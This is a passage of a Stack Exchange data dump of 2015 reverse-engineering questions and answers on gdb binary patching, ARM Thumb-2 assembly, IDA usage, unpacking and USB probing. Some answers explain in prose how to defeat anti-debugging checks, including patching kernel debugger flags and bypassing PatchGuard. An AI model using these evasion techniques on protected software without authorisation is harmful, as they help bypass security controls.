  <row Id="8969" PostTypeId="2" ParentId="8965" CreationDate="2015-05-23T08:18:23.437" Score="3" Body="&lt;p&gt;Probably the easiest way to do this, if you don't have any special tools, is run &lt;code&gt;plex&lt;/code&gt; under the control of &lt;code&gt;gdb&lt;/code&gt;, with the input of &lt;code&gt;gdb&lt;/code&gt; comping from a script. To do that, you need to find the address where 32400 is hardcoded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -D plex | grep -i 7e90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should give you something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;40090b: bf 90 7e 00 00          mov    $0x7e90,%edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start gdb, set a breakpoint there, run the program until it hits the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb plex&#xA;break *0x40090b&#xA;run&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step one instruction, change the register value, and continue running the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stepi&#xA;&amp;gt;&amp;gt; 0x0000000000400910 in main ()             &amp;lt;-- address of next instruction&#xA;info registers                               &amp;lt;-- just to make sure&#xA;&amp;gt;&amp;gt; rdi            0x7e90    32400&#xA;set $rdi=0x7e91                              &amp;lt;-- patch the value&#xA;info registers                               &amp;lt;-- again, just to make sure&#xA;&amp;gt;&amp;gt; rdi            0x7e91    32401&#xA;cont&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a different window, check if plex really listens on the other port:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;netstat -ntap | grep plex&#xA;tcp   0      0 0.0.0.0:32401     0.0.0.0:*     LISTEN      22018/plex &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;yes it did!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now automate this in a script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb plex &amp;lt;&amp;lt;EOF&#xA;break *0x400910      &amp;lt;-- note this is the instruction AFTER the load, not the one we breaked on last time&#xA;run&#xA;set $rdi=0x7e91&#xA;cont&#xA;EOF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and run that script instead of &lt;code&gt;plex&lt;/code&gt; everytime you want to start it on a different port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you could also use a hex editor to change the value in the binary directly. You'll even have to do this if the routine that sets up the listening port gets called repeatedly (so you can't predict which exact input gdb needs). However, in many cases, this might be the easiest method, since it doesn't require changing the binary or programming a LD_PRELOAD handler, and changing the port number later is super-easy.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-05-23T08:18:23.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8971" PostTypeId="1" AcceptedAnswerId="8975" CreationDate="2015-05-23T18:06:47.183" Score="4" ViewCount="1505" Body="&lt;p&gt;I disassembled an android library with IDA, and want to do some extra steps at the end of one of the functions. Currently, the last instruction bytes are &lt;code&gt;BD E8 F0 8F&lt;/code&gt;, in thumb mode, which IDA disassembles to &lt;code&gt;POP.W {R4-R11,PC}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i found a nice little piece of unused space, replaced the &lt;code&gt;POP.W&lt;/code&gt; with a branch there, wrote my extension, remembered to put a &lt;code&gt;.thumb&lt;/code&gt; and &lt;code&gt;.arch armv7a&lt;/code&gt; at the start of my program, and finished my code with that &lt;code&gt;POP.W {R4-R11,PC}&lt;/code&gt;. Unfortunately, using gnu as from an arm toolchain, this results in &lt;code&gt;Error: bad instruction pop.w '{R4-R11,PC}'&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, gnu as doesn't like the .w suffix, so i replaced the instruction with &lt;code&gt;POP {R4-R11,PC}&lt;/code&gt;. This changes the error message to Error: invalid register list to push/pop instruction -- &lt;code&gt;pop {R4-R11,PC}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that some older ARM chips had restrictions on what you could do with registers from R8 on, so, just for verification, i replaced the instruction with &lt;code&gt;POP {R4-R7,PC}&lt;/code&gt;. And indeed, as assembles this well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I don't know how to continue?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Maybe I have to give another architecture option to as. But .arch armv7a seems to be the newest which is valid with android armv7a libraries.&lt;/li&gt;&#xA;&lt;li&gt;Maybe i'm completely off track, and the pop instruction is actually a macro for two separate instructions, which pop high and low registers after another. But, the result of entering the individual two-byte instructions (&lt;code&gt;BD E8&lt;/code&gt;, &lt;code&gt;F0 8F&lt;/code&gt;) into the online disassembler seems to have nothing to do with popping from the stack.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also tried disabling macros in IDA's processor options, which didn't change anything. So i'm inclined to think the byte sequence is a genuine 4 byte thumb mode opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else do i need to specify in my program to make gnu as recognize the instruction?&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-05-24T22:14:25.127" LastActivityDate="2015-05-24T22:14:25.127" Title="How do i make gnu as recognize all ARMV7 instructions?" Tags="|arm|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8972" PostTypeId="2" ParentId="8968" CreationDate="2015-05-24T02:49:23.310" Score="0" Body="&lt;p&gt;I think the check you're talking about (&lt;code&gt;NtQuerySystemInformation&lt;/code&gt; with &lt;code&gt;SystemKernelDebuggerInformation&lt;/code&gt;) simply checks &lt;code&gt;KdDebuggerEnabled&lt;/code&gt; and &lt;code&gt;KdDebuggerNotPresent&lt;/code&gt; under the hood (both are single bytes exported from &lt;code&gt;ntoskrnl.exe&lt;/code&gt;). You could simply patch those two to get past that particular check. Alternatively, you could go for hooking NtQuerySystemInformation either in usermode (you've mentioned that you can't make memory changes, but that's usually not true - if a memory change at some location is detected, then make the change somewhere else) or in kernelmode (requiring a PatchGuard bypass on 64-bit systems).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your kernel debugger might still be detected by its window/driver name.&lt;/p&gt;&#xA;" OwnerUserId="3824" LastActivityDate="2015-05-24T02:49:23.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8973" PostTypeId="1" AcceptedAnswerId="8974" CreationDate="2015-05-24T08:00:04.440" Score="1" ViewCount="231" Body="&lt;p&gt;Some of the general purpose registers are used for some specific reasons. For example &lt;code&gt;EAX&lt;/code&gt; is used as an accumulator and to store return values, &lt;code&gt;ECX&lt;/code&gt; is used as a counter, &lt;code&gt;ESI&lt;/code&gt; and &lt;code&gt;EDI&lt;/code&gt; are used to store the src and dst address, respectively. similarly, &lt;code&gt;ESP&lt;/code&gt; and &lt;code&gt;EBP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any specific use case for&lt;code&gt;EBX&lt;/code&gt; register? and Is there anything else that I have missed special use cases of general purpose registers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3766" LastActivityDate="2015-05-24T08:29:17.263" Title="What are the some of the special usecases of general purpose registers" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8974" PostTypeId="2" ParentId="8973" CreationDate="2015-05-24T08:29:17.263" Score="4" Body="&lt;p&gt;• AX/EAX/RAX: Accumulator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• BX/EBX/RBX: Base index (for use with arrays)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• CX/ECX/RCX: Counter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• DX/EDX/RDX: Data/general&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• SI/ESI/RSI: Source index for string operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• DI/EDI/RDI: Destination index for string operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• SP/ESP/RSP: Stack pointer for top address of the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• BP/EBP/RBP: Stack base pointer for holding the address of the current stack frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• IP/EIP/RIP: Instruction pointer. Holds the program counter, the current instruction address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Segment registers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• CS: Code Segment (used for IP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• DS: Data Segment (used for MOV)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• SS: Stack Segment (used for SP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• ES: Destination Segment (used for MOVS, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• FS: local store&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• GS: local store&lt;/p&gt;&#xA;" OwnerUserId="3744" LastActivityDate="2015-05-24T08:29:17.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8975" PostTypeId="2" ParentId="8971" CreationDate="2015-05-24T15:37:58.730" Score="6" Body="&lt;p&gt;By default, &lt;code&gt;as&lt;/code&gt;, uses the old 'divided' syntax for arm and thumb instructions. Hence it is not recognising your &lt;code&gt;pop.w&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it work, add &lt;code&gt;.syntax unified&lt;/code&gt; at the start of your program.  This tells it to use the new unified syntax and you should find it assembles &lt;code&gt;pop.w&lt;/code&gt; successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://sourceware.org/binutils/docs-2.24/as/ARM_002dInstruction_002dSet.html&quot;&gt;https://sourceware.org/binutils/docs-2.24/as/ARM_002dInstruction_002dSet.html&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2015-05-24T15:37:58.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8978" PostTypeId="1" AcceptedAnswerId="8981" CreationDate="2015-05-25T02:07:28.227" Score="-3" ViewCount="257" Body="&lt;p&gt;I am working as an ERP consultant for post 10 years. I find Ethical hacking and reverse engineering very interesting and want to become one. I have been reading some books and also watching videos. But, is it too late to choose that as a career? If not, what should I do, learn and imbibe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:Sorry folks! Only from the downvotes I realized that this question is opinion based and SO is not for such questions. However, from the comments and replies, I sense some motivation enough to fuel me. I will be deleting this post shortly.Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12602" LastEditorUserId="12602" LastEditDate="2015-05-28T18:02:34.710" LastActivityDate="2015-05-28T18:02:34.710" Title="10 years as erp consultant. Is too late to become an ethical hacker?" Tags="|career-advice|" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-25T16:35:44.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="8979" PostTypeId="1" CreationDate="2015-05-25T07:15:44.757" Score="2" ViewCount="826" Body="&lt;p&gt;Is there a way to highlight &quot;assemble&quot; option in EDIT menu at IDA pro to apply a patch. Guess that &lt;code&gt;idagui.cfg&lt;/code&gt; must be changed at some point, and turn NO to YES somewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the last demo version.&lt;/p&gt;&#xA;" OwnerUserId="12605" LastEditorUserId="53" LastEditDate="2015-12-16T17:44:16.810" LastActivityDate="2015-12-17T02:56:24.670" Title="Turn ¨Assemble¨ option on, in IDA Pro Demo" Tags="|ida|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8980" PostTypeId="2" ParentId="8979" CreationDate="2015-05-25T07:50:47.377" Score="2" Body="&lt;p&gt;I'm not sure about last demo version, but as far as I remember there is a following line in &lt;code&gt;cfg\idagui.cfg&lt;/code&gt; that may be related.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DISPLAY_PATCH_SUBMENU    = NO           // Display the Edit,Patch submenu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-05-25T07:50:47.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8981" PostTypeId="2" ParentId="8978" CreationDate="2015-05-25T14:17:32.500" Score="2" Body="&lt;p&gt;Note: This is a very opinion based answer, so some people will strongly disagree with me. But your question doesn't have a real good answer that would be valid for others as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal experience is that, to be good at hacking, ethical or not, you need to have a very strong drive to want to find out how things work, an eye for technical details, and the ability to figure out things of your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noone i know who is good at hacking, reverse engineering, or anything in related fields, decided one day &quot;I'd like to be a hacker, so let's learn how to do it&quot;. Rather, these guys cut open the heads of their sister's dolls at the age of 6 to find out how the mechanism worked that closed the eyes when you laid them to bed, got their first electrical shock at 12 when they opened some electronics device, and started hacking as a hobby in their teens. Staying up all night to finally find out how something worked seemed to be much more rewarding that, say, talking an alcoholic drink out of a barkeeper when you were underage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later, they turned the experience they had with this kind of stuff into a job. Much of this job belongs of long, arduous sessions at the computer, paying attention to every little detail, until you finally get your reward in that &quot;yay! I did it!&quot; feeling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This kind of person is not, in my opinion, somebody who does an ERP consultant job for 10 years, given the chance to choose. But in the end, it's up to you to decide if you're this type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know many people who do a job they don't really like, work from 9 to 5 to earn their living, don't even want to think or talk about their job in their free time, and are still moderately successful in terms of money or social status. This is ok; many jobs aren't that demanding, but need to be done. However, this won't work if you intend to be a hacker. To be a successful hacker, you don't have to want to be a successful hacker, you have to be curious, need an intense appetite to satisfy that curiosity, and have a strong will to never stop attacking a problem until you solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it's up to you to decide if that appeals to you.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-05-25T14:17:32.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8982" PostTypeId="2" ParentId="6540" CreationDate="2015-05-25T14:17:35.040" Score="6" Body="&lt;p&gt;As Igor mentioned, it's GAS specific.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git log --reverse -Smovabs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tells us that it was introduced &lt;a href=&quot;https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=commitdiff;h=c0d8940f87f55d81d2a68b9333e494b48c1a49d3;hp=087f563c287b29cb52d78072d019764cf78124c8&quot; rel=&quot;noreferrer&quot;&gt;in 2000 commit c0d8940&lt;/a&gt; and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git tag --contains c0d8940&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;says that it was present as early as &lt;code&gt;binutils-2_11&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12321" LastActivityDate="2015-05-25T14:17:35.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8983" PostTypeId="1" CreationDate="2015-05-25T18:11:24.093" Score="2" ViewCount="3792" Body="&lt;p&gt;i think its pretty easy to find the OEP when the packer runs from a different section. there are many tricks, such as running a trace until you hit the codesection, or breaking on writes to the IAT, and putting a bp on the codesection after the last write to the IAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but what about packer code that runs in the original code codesection? what are some tips and tricks to find the OEP, since the packer is running from the same section,and jumps to the OEP in the same section?&lt;/p&gt;&#xA;" OwnerUserId="12609" LastActivityDate="2015-06-28T15:24:04.930" Title="how to find OEP when packer runs from original code section?" Tags="|ollydbg|oep|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8984" PostTypeId="2" ParentId="8983" CreationDate="2015-05-25T20:46:48.027" Score="1" Body="&lt;p&gt;Generally look for register clearing (pushad/popad) followed by a jump. Using something like mona.py in immunity you could scan the process's address space for a sequence of instructions similar to that. Keep in mind that these things are packer specific, so it might not work for all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use some kind of DBI or memory monitoring tool to break &amp;amp; dump when that section's memory stops being modified (when the program finishes unpacking). I've done something similar using Intel's PIN before.&lt;/p&gt;&#xA;" OwnerUserId="4409" LastActivityDate="2015-05-25T20:46:48.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8985" PostTypeId="2" ParentId="8955" CreationDate="2015-05-26T08:08:28.307" Score="4" Body="&lt;p&gt;IDA doesn't do the kind of memory breakpoints that Olly implements.  Olly implements memory breakpoints by changing the page protection, catching the exception, and then examining some extra data to see if it's one of its own memory &quot;breakpoints&quot;. IDA only allows you to do regular software breakpoints (CC), and hardware breakpoints(DR0-DR3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, if you'd like to break on a memory access using IDA's debugger, you'll have to use a regular hardware breakpoint.  You simply click the DWORD in memory you'd like to break on, and then click Debugger -&gt; Breakpoints -&gt; Add Breakpoint.  IDA will automatically populate the address of the DWORD in the &quot;Location&quot; field, and then you can set whatever other options you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to set a breakpoint on an entire section similar to what you'd do from the Memory Map view in Olly, do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In debugger mode, click View -&gt; open Subviews -&gt; Program Segmentation. &lt;/li&gt;&#xA;&lt;li&gt;Right-click on &quot;.text&quot; or whatever other segment you need. &lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Break on Access&quot; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will set a hardware breakpoint that will trigger on read and write. For this particular sample, that causes a problem since the packer obviously needs to read and write that section to unpack.  So once you set the breakpoint, press Ctrl-Alt-B, and edit that breakpoint to only trigger on execute. Btw, you can also do this from the regular disassembly view as well by clicking Window -&gt; Program Segmentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure why your program won't run. I stepped through to the &quot;IsDebuggerPresent&quot; check, modified the zero flag(Addr: 0x46BB1F), set the aforementioned hardware breakpoint, and the program ran and unpacked just fine.  It does take a few seconds to unpack though, at least on my box.  Double check your breakpoint settings, and verify that the following options are checked: &quot;enabled&quot;, &quot;hardware&quot;, &quot;break&quot;, &quot;execute&quot;, and that the address location is 0x401000. If you did this from the segmentation window, then the size should be 0x4A000. (It really doesn't need to be this big).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some more information on breakpoints if you're interested.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Software vs. Hardware breakpoints: &lt;a href=&quot;http://www.nynaeve.net/?p=80&quot; rel=&quot;nofollow&quot;&gt;http://www.nynaeve.net/?p=80&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Olly's Memory Breakpoints &lt;a href=&quot;http://waleedassar.blogspot.com/2012/11/defeating-memory-breakpoints.html&quot; rel=&quot;nofollow&quot;&gt;http://waleedassar.blogspot.com/2012/11/defeating-memory-breakpoints.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12613" LastEditorUserId="12613" LastEditDate="2015-05-26T13:33:55.360" LastActivityDate="2015-05-26T13:33:55.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8987" PostTypeId="1" CreationDate="2015-05-26T10:27:10.213" Score="2" ViewCount="185" Body="&lt;p&gt;For research purposes (vulnerability-analysis), I would like to connect to an embedded Linux-based device via USB. The USB is only intended for the (re)charging (according to the manufacturer of course). Bluetooth is used for the actual communication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device is not listed (via &lt;code&gt;lsusb&lt;/code&gt; in Linux or &lt;code&gt;system_profiler SPUSBDataType&lt;/code&gt; in OSX) when connected on a PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a matter of fact, I know that a group of security researchers that has managed to connect to the device via USB. However, this was more than 1.5 year ago. This 'feature' might me disabled by the manufacturer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what are the possibilities? Are there any tools I can try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12614" LastActivityDate="2015-05-26T14:54:48.290" Title="How to connect to embedded device via charge-only USB?" Tags="|tools|embedded|vulnerability-analysis|usb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8988" PostTypeId="2" ParentId="8987" CreationDate="2015-05-26T12:03:25.483" Score="2" Body="&lt;p&gt;The only way to know whether you can or cannot use the USB port to have access to the device is by probing the Data pins and trying to sniff any traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A USB connector is composed of 4 pins : USB Vcc (+5V), USB Data-, USB Data+, and GND. If the device is using the Data+ &amp;amp; Data- pins, then you're in business, something must be going on which should most likely be investigated. If those pins are dead, it simply means that the device isn't using them for communication. You can use one of &lt;a href=&quot;http://www.totalphase.com/solutions/apps/usb-analyzer-guide/&quot; rel=&quot;nofollow&quot;&gt;these devices&lt;/a&gt; in order to sniff the traffic, or you can use &lt;a href=&quot;http://openvizsla.org/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach which might necessitate a bit more skills in electronics, is to use an oscilloscope on those two pins. Data circulates as an electrical signal, thus you should be able to see transfer patterns if there are any. This option is somehow the most economical since you can easily use any oscilloscope software and invest in the probes (cable) which is way less expensive than the hardware sniffers proposed earlier.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2015-05-26T14:54:48.290" LastActivityDate="2015-05-26T14:54:48.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8989" PostTypeId="1" AcceptedAnswerId="8991" CreationDate="2015-05-26T12:26:43.073" Score="2" ViewCount="647" Body="&lt;p&gt;I'm trying to understand the syntax of the &lt;code&gt;IT&lt;/code&gt; instruction that is to be used to enable conditional execution of instructions on ARM, in Thumb2 mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I understand it, the bits in the CPSR register along with the &lt;code&gt;IT&lt;/code&gt; instruction make conditional execution possible in Thumb mode. If I were writing some Thumb2 code perhaps I could go about following the process mentioned below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I have 4 conditional instructions(the maximum limit suported by &lt;code&gt;IT&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First, I write down by conditional instructions. Lets say the prefixes for the four instructions are &lt;code&gt;CLZNE.W&lt;/code&gt;, &lt;code&gt;CLZEQ.W&lt;/code&gt;, &lt;code&gt;ADDEQ&lt;/code&gt;, &lt;code&gt;ADDNEQ&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now before the conditional instructions I add an instruction of the form &lt;code&gt;ITEEE NE&lt;/code&gt;. The NE is added as the first instruction has an NE. The &lt;code&gt;EEE&lt;/code&gt; following the IT are added as the last 3 instructions are the converse of an &lt;code&gt;NE&lt;/code&gt;. Is this how assembly programmers write conditional thumb2 ARM code? Is my understanding of the process correct?&lt;/li&gt;&#xA;&lt;li&gt;Why is the condition encoded in both &lt;code&gt;IT&lt;/code&gt; and the instructions that follow?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2017-05-09T18:27:27.937" Title="Conditional instructions on ARM" Tags="|arm|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8990" PostTypeId="2" ParentId="8961" CreationDate="2015-05-26T13:25:00.600" Score="6" Body="&lt;p&gt;IDA's til files are basically IDA's way of storing type information for particular functions. AFAIK, a .til file doesn't tell IDA how to actually recognize that function in order to apply function prototype information.  For that piece you're going to need produce the requisite .sig file using IDA's Flirt utilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, IDA won't replace existing type information unless it was &quot;auto-generated&quot; upon initial analysis; so you've got to reset the type field for IDA to fill in the type info. Since the names were already present, it wouldn't count as &quot;auto-generated&quot; to IDA (i.e. sub_XXXX).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, you should still be able to make use of the .til file you produced. &#xA;Go to one of the OpenSSL functions, and put your cursor on the name. Press Y. This will bring up your type declaration. Clear the field, and hit ok. Then press N, make sure the name is exactly as it's spelled in the header/.til file, and then press enter. It should then populate the correct type information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, this is a pain for an entire library. I'm assuming that all the OpenSSL functions are in the same area. So if you know the start and end address you can do something like this to fix it all up (assuming the names already match your header file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for func_ea in Functions(openssl_start_ea, openssl_end_ea):&#xA;    func_name = GetFunctionName(func_ea) #Get Current Name&#xA;    SetType(func_ea, &quot;&quot;) #Reset Type Info&#xA;    MakeName(func_ea, func_name) #Recreate Name to get new type info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12613" LastActivityDate="2015-05-26T13:25:00.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8991" PostTypeId="2" ParentId="8989" CreationDate="2015-05-26T13:57:15.797" Score="1" Body="&lt;p&gt;As far as I understand you described the process of using IT instructions correctly. This is exactly how one of compilers I worked with works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to (for example) &lt;a href=&quot;https://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf&quot; rel=&quot;nofollow&quot;&gt;ARM Architecture Reference Manual&lt;/a&gt; document conditions are not encoded in most of conditionally executed Thumb instructions (except of jumps and some others) and it is the thing that defines the reason for IT instruction and all its variants existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I couldn't find exact Thumb 2 encoding reference, but I think that it behaves the same as in Thumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ONE MORE EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it is correct,both thumb and thumb II instructions I looked to does not have condition field (for example addition instructions and other ALU related things). The document I found it in is ARMv7-A -R Architecture Reference Manual, its download requires registration. So regarding your question number 3 - conditions in IT compliant operations are definitely not encoded in instruction itself. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-05-27T09:26:37.063" LastActivityDate="2015-05-27T09:26:37.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8992" PostTypeId="1" AcceptedAnswerId="8993" CreationDate="2015-05-26T14:30:22.467" Score="2" ViewCount="1269" Body="&lt;p&gt;When I disassemble ARM code that deals with floating point values, how can I print out the registers? (I'm using Gdb).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x000083d8 &amp;lt;+12&amp;gt;:    ldr r3, [pc, #56]   ; 0x8418 &amp;lt;main+76&amp;gt;&#xA;   0x000083dc &amp;lt;+16&amp;gt;:    str r3, [r11, #-8]&#xA;   0x000083e0 &amp;lt;+20&amp;gt;:    vldr    s14, [r11, #-8]&#xA;   0x000083e4 &amp;lt;+24&amp;gt;:    vldr    s15, [pc, #40]  ; 0x8414 &amp;lt;main+72&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could I print out the &lt;code&gt;s14&lt;/code&gt; register in this case?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2019-02-15T14:18:37.550" Title="Floating point registers on ARM" Tags="|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8993" PostTypeId="2" ParentId="8992" CreationDate="2015-05-26T14:33:40.920" Score="0" Body="&lt;p&gt;To print the value of &lt;code&gt;s14&lt;/code&gt; from gdb:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;info registers s14&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-26T14:33:40.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
